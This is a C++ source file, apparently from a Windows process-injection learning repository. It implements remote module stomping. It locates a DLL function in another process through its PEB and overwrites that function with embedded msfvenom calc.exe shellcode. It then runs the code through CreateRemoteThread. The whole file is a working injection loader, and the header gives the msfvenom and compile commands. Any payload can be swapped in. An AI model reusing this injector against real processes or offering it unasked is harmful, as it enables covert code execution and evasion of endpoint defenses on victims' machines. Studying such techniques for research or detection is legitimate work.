toneillcodes-windows-process-injection/module-stomping/remote-stomp.cpp

/*
* remote module stomping: locate a sacrificial DLL in the process memory, locate a function to stomp (it'll be within the .text section, this is lazy)
*                        & inject calc.exe msfvenom shellcode into the target buffer, toggling the memory protection between RW and RWX
* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread
* compile: cl.exe remote-stomp.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp /W0
*/
#include <windows.h>
#include <stdio.h>

#include "..\includes\peb-eat-utils.h"
#include "..\includes\utils.h"

int main(int argc, char *argv[]) {
    unsigned char buf[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

    // Expecting: program.exe <PID> <DLL_Name> <Function_Name>
    if(argc < 4) {
        printf("[ERROR] Usage: %s <PID> <Target_DLL> <Target_Function>\n", argv[0]);
        return -1;
    }

    // target process ID
    DWORD pid = 0;
    
    pid = my_atoi(argv[1]);
    if(pid == 0) {
        printf("[ERROR] Failed to obtain process ID!\n");
        return -1;
    }

    char* targetDll = argv[2];
    char* targetFunction = argv[3];

    printf("[*] Running PI with target PID: %u\n", pid);

    // Open a handle to the current process, this must be passed to VirtualAllocEx
    HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
    if(pHandle == NULL) {
        printf("Failed to acquire process handle!\n");
        return -1;
    }
    printf("[*] Successfully opened handle to PID: %u\n", pid);
  
    PVOID remotePebAddr = GetRemotePebAddress(pHandle);
    if(!remotePebAddr) {
        printf("[*] ERROR: Failed to find the PEB address. Error %lu\n", GetLastError());
        return -1;
    }

    printf("[*] Target PEB located at: : 0x%016llx\n", remotePebAddr);
    
    // https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks
    // Assuming peb_address holds the valid memory location of the PEB
    PPEB peb_ptr = (PPEB)remotePebAddr;

    printf("[*] Attempting to locate the module base for %s.\n", targetDll);
    PVOID targetModuleBase = GetModuleBaseManualRemote(pHandle, peb_ptr, targetDll);
    if(!targetModuleBase) {
        printf("[ERROR] Failed to locate target module base.\n");
        return -1;        
    }

    printf("[*] Target DLL base located at: : 0x%016llx\n", targetModuleBase);

    LPVOID bufferAddress = (LPVOID)GetRemoteProcAddressManual(pHandle, targetModuleBase, targetFunction);  
    if (bufferAddress == NULL) {
        printf("[ERROR] Failed to locate target function %s! Error: %lu\n", targetFunction, GetLastError());
        return -1;
    }
    printf("[*] Target %s!%s located at: 0x%016llx\n", targetDll, targetFunction, bufferAddress);

    printf("[*] Press Enter to write the shellcode to the buffer address: ");
    getchar();

    printf("[*] Writing to buffer.\n");
    // Write the shellcode to the block of memory that we located`
    BOOL writeShellcode = WriteProcessMemory(pHandle, bufferAddress, buf, sizeof buf, NULL);
    if(writeShellcode == false) {
        printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
        return -1;
    }

    printf("[*] Creating a new thread.\n");
    // Create a new thread using the shellcode buffer address as the starting point
    HANDLE tHandle = CreateRemoteThread(pHandle, NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL);
    if (tHandle == NULL) {
        printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
        return -1;
    }

    // Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner
    printf("[*] Waiting for the thread to return...\n");
    WaitForSingleObject(tHandle, INFINITE);

    // Clean up open handles and free the shellcode buffer memory
    CloseHandle(pHandle);
    CloseHandle(tHandle);

    printf("[*] Process injection complete.\n");

    return 0;
}